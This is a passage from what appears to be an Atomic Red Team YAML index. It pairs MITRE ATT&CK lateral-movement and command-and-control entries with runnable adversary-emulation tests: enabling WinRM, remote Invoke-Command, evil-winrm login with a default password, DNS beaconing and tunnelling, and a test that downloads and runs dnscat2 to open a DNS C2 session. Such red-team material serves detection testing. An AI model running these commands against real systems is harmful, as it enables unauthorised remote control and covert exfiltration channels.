      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2020-03-31T22:14:56.107Z'
      created: '2017-05-31T21:31:01.759Z'
      x_mitre_is_subtechnique: false
      x_mitre_system_requirements:
      - Access to shared folders and content with write permissions
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.

        Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.
      x_mitre_contributors:
      - Michal Dida, ESET
      - David Routin
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Network Share: Network Share Access'
      x_mitre_version: '1.2'
    atomic_tests: []
  T1550:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550
        url: https://attack.mitre.org/techniques/T1550
      - source_name: NIST Authentication
        url: https://csrc.nist.gov/glossary/term/authentication
        description: NIST. (n.d.). Authentication. Retrieved January 30, 2020.
      - source_name: NIST MFA
        url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication
        description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January
          30, 2020.
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Use Alternate Authentication Material
      description: "Adversaries may use alternate authentication material, such as
        password hashes, Kerberos tickets, and application access tokens, in order
        to move laterally within an environment and bypass normal system access controls.
        \n\nAuthentication processes generally require a valid identity (e.g., username)
        along with one or more authentication factors (e.g., password, pin, physical
        smart card, token generator, etc.). Alternate authentication material is legitimately
        generated by systems after a user or application successfully authenticates
        by providing a valid identity and the required authentication factor(s). Alternate
        authentication material may also be generated during the identity creation
        process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate
        authentication material allows the system to verify an identity has successfully
        authenticated without asking the user to reenter authentication factor(s).
        Because the alternate authentication must be maintained by the system—either
        in memory or on disk—it may be at risk of being stolen through [Credential
        Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate
        authentication material, adversaries are able to bypass system access controls
        and authenticate to systems without knowing the plaintext password or any
        additional authentication factors.\n"
      id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-04-14T18:09:47.427Z'
      created: '2020-01-30T16:18:36.873Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_detection: 'Configure robust, consistent account activity audit policies
        across the enterprise and with externally accessible services.(Citation: TechNet
        Audit Policy) Look for suspicious account behavior across systems that share
        accounts, either user, admin, or service accounts. Examples: one account logged
        into multiple systems simultaneously; multiple accounts logged into the same
        machine simultaneously; accounts logged in at odd times or outside of business
        hours. Activity may be from interactive login sessions or process ownership
        from accounts being used to execute binaries on a remote system as a particular
        account. Correlate other security systems with login information (e.g., a
        user has an active login session but has not entered the building or does
        not have VPN access).'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Web Credential: Web Credential Usage'
      - 'Application Log: Application Log Content'
      - 'User Account: User Account Authentication'
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_platforms:
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
    atomic_tests: []
  T1021.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1021.005
        url: https://attack.mitre.org/techniques/T1021/005
      - external_id: CAPEC-555
        source_name: capec
        url: https://capec.mitre.org/data/definitions/555.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: VNC
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user.

        VNC is a desktop sharing system that allows users to remotely control another computer’s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections.
      id: attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2020-03-23T20:41:21.147Z'
      created: '2020-02-11T18:28:44.950Z'
      x_mitre_system_requirements:
      - VNC server installed and listening for connections.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Use of VNC may be legitimate depending on the environment
        and how it’s used. Other factors, such as access patterns and activity that
        occurs after a remote login, may indicate suspicious or malicious behavior
        with VNC.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1550.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1550.004
        url: https://attack.mitre.org/techniques/T1550/004
      - external_id: CAPEC-60
        source_name: capec
        url: https://capec.mitre.org/data/definitions/60.html
      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
        source_name: Pass The Cookie
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Web Session Cookie
      description: |-
        Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

        Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

        There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
      id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-04-14T13:21:37.474Z'
      created: '2020-01-30T17:48:49.395Z'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_detection: Monitor for anomalous access of websites and cloud-based
        applications by the same user in different locations or by different systems
        that do not match expected configurations.
      x_mitre_data_sources:
      - 'Web Credential: Web Credential Usage'
      - 'Application Log: Application Log Content'
      x_mitre_contributors:
      - Johann Rehberger
      x_mitre_platforms:
      - Office 365
      - SaaS
      - Google Workspace
    atomic_tests: []
  T1021.006:
    technique:
      created: '2020-02-11T18:29:47.757Z'
      modified: '2020-03-25T12:25:03.014Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      type: attack-pattern
      id: attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65
      description: |-
        Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

        WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)
      name: Windows Remote Management
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1021.006
        url: https://attack.mitre.org/techniques/T1021/006
      - url: http://msdn.microsoft.com/en-us/library/aa384426
        description: Microsoft. (n.d.). Windows Remote Management. Retrieved November
          12, 2014.
        source_name: Microsoft WinRM
      - url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2
        description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;.
          Retrieved November 12, 2014.
        source_name: Jacobsen 2014
      - source_name: Medium Detecting Lateral Movement
        url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
        description: French, D. (2018, September 30). Detecting Lateral Movement Using
          Sysmon and Splunk. Retrieved October 11, 2019.
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: 'Monitor use of WinRM within an environment by tracking service
        execution. If it is not normally used or is disabled, then this may be an
        indicator of suspicious behavior. Monitor processes created and actions taken
        by the WinRM process or a WinRM invoked script to correlate it with other
        related events.(Citation: Medium Detecting Lateral Movement)'
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Logon Session: Logon Session Creation'
      - 'Command: Command Execution'
      identifier: T1021.006
    atomic_tests:
    - name: Enable Windows Remote Management
      auto_generated_guid: 9059e8de-3d7d-4954-a322-46161880b9cf
      description: |
        Powershell Enable WinRM

        Upon successful execution, powershell will "Enable-PSRemoting" allowing for remote PS access.
      supported_platforms:
      - windows
      executor:
        command: 'Enable-PSRemoting -Force

'
        name: powershell
        elevation_required: true
    - name: Invoke-Command
      auto_generated_guid: 5295bd61-bd7e-4744-9d52-85962a4cf2d6
      description: |
        Execute Invoke-command on remote host.

        Upon successful execution, powershell will execute ipconfig on localhost using `invoke-command`.
      supported_platforms:
      - windows
      input_arguments:
        host_name:
          description: Remote Windows Host Name
          type: String
          default: localhost
        remote_command:
          description: Command to execute on remote Host
          type: String
          default: ipconfig
      executor:
        command: 'invoke-command -ComputerName #{host_name} -scriptblock {#{remote_command}}

'
        name: powershell
    - name: WinRM Access with Evil-WinRM
      auto_generated_guid: efe86d95-44c4-4509-ae42-7bfd9d1f5b3d
      description: An adversary may attempt to use Evil-WinRM with a valid account
        to interact with remote systems that have WinRM enabled
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: Username
          type: String
          default: Domain\Administrator
        destination_address:
          description: Remote Host IP or Hostname
          type: String
          default: Target
        password:
          description: Password
          type: String
          default: P@ssw0rd1
      dependency_executor_name: powershell
      dependencies:
      - description: Computer must have Ruby Installed
        prereq_command: try {if (ruby -v) {exit 0} else {exit 1}} catch {exit 1}
        get_prereq_command: |-
          Invoke-WebRequest  -OutFile $env:Temp\rubyinstaller-2.7.1-1-x64.exe https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe
          $file1= $env:Temp + "\rubyinstaller-2.7.1-1-x64.exe"
          Start-Process $file1 /S;
      - description: Computer must have Evil-WinRM installed
        prereq_command: try {if (evil-winrm -h) {exit 0} else {exit 1}} catch {exit
          1}
        get_prereq_command: gem install evil-winrm
      executor:
        command: 'evil-winrm -i #{destination_address} -u #{user_name} -p #{password}'
        name: powershell
        elevation_required: true
command-and-control:
  T1071:
    technique:
      created: '2017-05-31T21:30:56.776Z'
      modified: '2020-10-21T16:35:45.986Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Application Layer Protocol
      description: "Adversaries may communicate using application layer protocols
        to avoid detection/network filtering by blending in with existing traffic.
        Commands to the remote system, and often the results of those commands, will
        be embedded within the protocol traffic between the client and server. \n\nAdversaries
        may utilize many different protocols, including those used for web browsing,
        transferring files, electronic mail, or DNS. For connections that occur internally
        within an enclave (such as those between a proxy or pivot node and other nodes),
        commonly used protocols are SMB, SSH, or RDP. "
      external_references:
      - source_name: mitre-attack
        external_id: T1071
        url: https://attack.mitre.org/techniques/T1071
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_network_requirements: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect application
        layer protocols that do not follow the expected protocol standards regarding
        syntax, structure, or any other variable adversaries could leverage to conceal
        data.(Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_version: '2.0'
    atomic_tests: []
  T1573.002:
    technique:
      id: attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada
      description: |-
        Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.

        For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).
      name: Asymmetric Cryptography
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1573.002
        url: https://attack.mitre.org/techniques/T1573/002
      - url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
        description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting
          SSL. Retrieved April 5, 2016.
        source_name: SANS Decrypting SSL
      - url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
        description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved
          April 5, 2016.
        source_name: SEI SSL Inspection Risks
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2021-04-20T19:27:46.484Z'
      created: '2020-03-16T15:48:33.882Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: |-
        SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)

        In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1102.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1102.002
        url: https://attack.mitre.org/techniques/T1102/002
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Bidirectional Communication
      description: "Adversaries may use an existing, legitimate external Web service
        as a means for sending commands to and receiving output from a compromised
        system over the Web service channel. Compromised systems may leverage popular
        websites and social media to host command and control (C2) instructions. Those
        infected systems can then send the output from those commands back over that
        Web service channel. The return traffic may occur in a variety of ways, depending
        on the Web service being utilized. For example, the return traffic may take
        the form of the compromised system posting a comment on a forum, issuing a
        pull request to development project, updating a document hosted on a Web service,
        or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism
        for C2 may give a significant amount of cover due to the likelihood that hosts
        within a network are already communicating with them prior to a compromise.
        Using common services, such as those offered by Google or Twitter, makes it
        easier for adversaries to hide in expected noise. Web service providers commonly
        use SSL/TLS encryption, giving adversaries an added level of protection. "
      id: attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-26T23:15:47.861Z'
      created: '2020-03-14T22:34:03.024Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Host data that can relate unknown or suspicious process
        activity using a network connection is important to supplement any existing
        indicators of compromise based on malware command and control signatures and
        infrastructure or the presence of strong encryption. Packet capture analysis
        will require SSL/TLS inspection if data is encrypted. Analyze network data
        for uncommon data flows (e.g., a client sending significantly more data than
        it receives from a server). User behavior monitoring may help to detect abnormal
        patterns of activity.(Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1043:
    technique:
      created: '2017-05-31T21:30:42.657Z'
      modified: '2020-07-06T17:54:28.071Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      revoked: false
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1043
        url: https://attack.mitre.org/techniques/T1043
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      description: "**This technique has been deprecated. Please use [Non-Standard
        Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries
        may communicate over a commonly used port to bypass firewalls or network detection
        systems and to blend with normal network activity to avoid more detailed inspection.
        They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n*
        TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated
        with the port or a completely different protocol. \n\nFor connections that
        occur internally within an enclave (such as those between a proxy or pivot
        node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n*
        TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)"
      name: Commonly Used Port
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e
      x_mitre_version: '1.0'
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_network_requirements: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: true
    atomic_tests: []
  T1092:
    technique:
      id: attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Communication Through Removable Media
      description: Adversaries can perform command and control between compromised
        hosts on potentially disconnected networks using removable media to transfer
        commands from system to system. Both systems would need to be compromised,
        with the likelihood that an Internet-connected system was compromised first
        and the second through lateral movement by [Replication Through Removable
        Media](https://attack.mitre.org/techniques/T1091). Commands and files would
        be relayed from the disconnected system to the Internet-connected system to
        which the adversary has direct access.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1092
        external_id: T1092
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-07-14T19:44:50.871Z'
      created: '2017-05-31T21:31:09.379Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_network_requirements: false
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute when removable media is mounted.
      x_mitre_data_sources:
      - 'Drive: Drive Creation'
      - 'Drive: Drive Access'
      x_mitre_version: '1.0'
    atomic_tests: []
  T1071.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1071.004
        url: https://attack.mitre.org/techniques/T1071/004
      - source_name: PAN DNS Tunneling
        url: https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling
        description: Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved
          March 15, 2020.
      - source_name: Medium DnsTunneling
        url: https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000
        description: Galobardes, R. (2018, October 30). Learn how easy is to bypass
          firewalls using DNS tunneling (and also how to block it). Retrieved March
          15, 2020.
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DNS
      description: "Adversaries may communicate using the Domain Name System (DNS)
        application layer protocol to avoid detection/network filtering by blending
        in with existing traffic. Commands to the remote system, and often the results
        of those commands, will be embedded within the protocol traffic between the
        client and server. \n\nThe DNS protocol serves an administrative function
        in computer networking and thus may be very common in environments. DNS traffic
        may also be allowed even before network authentication is completed. DNS packets
        contain many fields and headers in which data can be concealed. Often known
        as DNS tunneling, adversaries may abuse DNS to communicate with systems under
        their control within a victim network while also mimicking normal, expected
        traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) "
      id: attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-10-21T16:26:34.196Z'
      created: '2020-03-15T16:27:31.768Z'
      x_mitre_contributors:
      - Jan Petrov, Citi
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)

        Monitor for DNS traffic to/from known-bad or suspicious domains.
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1071.004
    atomic_tests:
    - name: DNS Large Query Volume
      auto_generated_guid: 1700f5d6-5a44-487b-84de-bc66f507b0a6
      description: |
        This test simulates an infected host sending a large volume of DNS queries to a command and control server.
        The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain.
        A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
      supported_platforms:
      - windows
      input_arguments:
        query_type:
          description: DNS query type
          type: String
          default: TXT
        subdomain:
          description: Subdomain prepended to the domain name
          type: String
          default: atomicredteam
        query_volume:
          description: Number of DNS queries to send
          type: Integer
          default: 1000
        domain:
          description: Default domain to simulate against
          type: String
          default: 127.0.0.1.xip.io
      executor:
        command: 'for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type
          "#{query_type}" "#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}"
          -QuickTimeout}

'
        name: powershell
    - name: DNS Regular Beaconing
      auto_generated_guid: 3efc144e-1af8-46bb-8ca2-1376bb6db8b6
      description: |
        This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time.
        This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
        A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
      supported_platforms:
      - windows
      input_arguments:
        runtime:
          description: Time in minutes to run the simulation
          type: Integer
          default: 30
        domain:
          description: Default domain to simulate against
          type: String
          default: 127.0.0.1.xip.io
        subdomain:
          description: Subdomain prepended to the domain name
          type: String
          default: atomicredteam
        query_type:
          description: DNS query type
          type: String
          default: TXT
        c2_interval:
          description: Seconds between C2 requests to the command and control server
          type: Integer
          default: 30
        c2_jitter:
          description: Percentage of jitter to add to the C2 interval to create variance
            in the times between C2 requests
          type: Integer
          default: 20
      executor:
        command: |
          Set-Location PathToAtomicsFolder
          .\T1071.004\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
        name: powershell
    - name: DNS Long Domain Query
      auto_generated_guid: fef31710-223a-40ee-8462-a396d6b66978
      description: |
        This test simulates an infected host returning data to a command and control server using long domain names.
        The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.
         Upon execution, DNS information about the domain will be displayed for each callout.
      supported_platforms:
      - windows
      input_arguments:
        query_type:
          description: DNS query type
          type: String
          default: TXT
        subdomain:
          description: Subdomain prepended to the domain name (should be 63 characters
            to test maximum length)
          type: String
          default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
        domain:
          description: Default domain to simulate against
          type: String
          default: 127.0.0.1.xip.io
      executor:
        command: |
          Set-Location PathToAtomicsFolder
          .\T1071.004\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
        name: powershell
    - name: DNS C2
      auto_generated_guid: e7bf9802-2e78-4db9-93b5-181b7bcd37d7
      description: |
        This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command.
        The following blogs have more information.

        https://github.com/iagox86/dnscat2

        https://github.com/lukebaggett/dnscat2-powershell
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Domain Name configured to use DNS Server where your C2 listener
            is running
          type: String
          default: example.com
        server_ip:
          description: IP address of DNS server where your C2 listener is running
          type: String
          default: 127.0.0.1
      executor:
        command: |
          IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')
          Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}
        name: powershell
  T1568.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1568.003
        url: https://attack.mitre.org/techniques/T1568/003
      - url: http://www.crowdstrike.com/blog/whois-numbered-panda/
        description: Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved
          January 14, 2016.
        source_name: Meyers Numbered Panda
      - url: https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
        description: Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September
          3). Darwin’s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.
        source_name: Moran 2014
      - source_name: Rapid7G20Espionage
        description: Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage
          Operations. Retrieved March 6, 2017.
        url: https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DNS Calculation
      description: |-
        Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)

